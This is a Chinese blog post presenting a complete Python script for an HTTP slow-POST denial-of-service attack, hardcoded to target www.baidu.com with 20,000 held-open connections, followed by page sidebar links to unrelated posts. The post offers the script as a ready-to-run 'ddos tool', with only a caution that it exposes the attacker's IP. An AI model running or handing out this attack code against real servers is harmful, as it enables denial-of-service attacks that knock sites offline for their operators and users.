文档章节

Python基于http的ddos攻击代码

moodlxs
 moodlxs
发布于 2016/12/08 18:00
字数 185
阅读 191
收藏 1

基于http的ddos,主要就是靠占用连接数达到攻击目标,但也非常危险,会暴露攻击者的ip,慎用

#!/usr/bin/env python
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="www.baidu.com"
PAGE="/index.php"
#---------------------------
 
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
 
socks=[]
 
def conn_thread():
    global socks
    for i in range(0,MAX_CONN):
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        try:
            s.connect((HOST,PORT))
            s.send(buf)
            print "Send buf OK!,conn=%d\n"%i
            socks.append(s)
        except Exception,ex:
            print "Could not connect to server or send error:%s"%ex
            time.sleep(10)
#end def
 
def send_thread():
    global socks
    while True:
        for s in socks:
            try:
                s.send("f")
                #print "send OK!"
            except Exception,ex:
                print "Send Exception:%s\n"%ex
                socks.remove(s)
                s.close()
        time.sleep(1)
#end def
 
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
 
conn_th.start()
send_th.start()

 

© 著作权归作者所有

共有 人打赏支持
moodlxs
粉丝 7
博文 41
码字总数 168307
作品 0
深圳
高级程序员
私信 提问
华为公有云 Openstack - Anti-DDOS插件项目

温馨提醒: 如您想承接该项目又担心无法提供增值税发票,可使用平台提供的代开发票服务,具体请联系平台客服咨询。 【业务需求】 一、 项目背景 1、当前OTC的CLI是各服务单独提供的CLI,目前客...

华为众包
2017/01/10
0
1
华为公有云 Openstack - WorkSpace 插件项目

温馨提醒: 如您想承接该项目又担心无法提供增值税发票,可使用平台提供的代开发票服务,具体请联系平台客服咨询。 【业务需求】 一、 项目背景 1、当前OTC的CLI是各服务单独提供的CLI,目前客...

华为众包
2017/01/10
7
4
申请Python商标的公司CEO对Python一无所知

非盈利组织Python软件基金会上周称, 英国云储存公司POBox Hosting Ltd正在欧洲抢注Python商标。在新闻被广泛报道之后,POBox的网站python.co.uk遭到了黑客的DDos攻击。Simon Phipps采访了该...

oschina
2013/02/20
4.4K
30
荤段子,两人遭解雇,死亡威胁以及DDoS

一句不恰当的荤段子却最终导致两位开发者被解雇,期间还伴随着死亡威胁和DDoS攻击。这一奇特的事件始于上周日在加州Santa Clara举行的年度Python开发者峰会PyCon。会议中,SendGrid的开发者拓...

戴威
2013/03/22
238
0
用python结合大量代理是否可以实现DDOS攻击?

在做爬虫,设置了一下代理。效果杠杠的。然后我想到这么一件坏事: 我用python开一推线程,各自都一个代理。在这么一瞬间,是否能够对网站产生DDOS攻击呢?

金拱门
2015/11/01
1K
6

没有更多内容

加载失败,请刷新页面

加载更多

MySQL学习笔记之二

数据库的操作总结就是:增删改查(CURD),今天记录一下基础的检索查询工作。 检索MySQL 1.查询表中所有的记录 mysql> select * from apps;+----+------------+-----------------------+------...

凌宇之蓝
24分钟前
0
0
PaddlePaddle-GitHub的正确打开姿势

GitHub是一个面向开源及私有软件项目的托管平台、也是项目版本管理工具,会使用它是程序员入门的必备技能。PaddlePaddle也不例外,所有的源码及项目进展都在GitHub上开源公布。但对于刚入门写...

深度学习之路
25分钟前
1
0
最强NLP模型BERT可视化学习

摘要: 最强NLP模型谷歌BERT狂破11项纪录,全面超越人类,本文通过可视化带你直观了解它。 2018年是自然语言处理(Natural Language Processing, NLP)领域的转折点,一系列深度学习模型在智...

阿里云官方博客
32分钟前
1
0
导出功能

public void downloadD(HttpServletRequest request, HttpServletResponse res,String contractName, String contractPath) throws IOException {// FileAttach fileAttach = fileA......

卖星星的小矮人
36分钟前
1
0
gradle 打包可执行jar包

group 'android.com'version '1.0-SNAPSHOT'apply plugin: 'java'sourceCompatibility = 1.8repositories { mavenCentral()}jar { manifest { attributes ('Main-......

zdglf
47分钟前
0
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部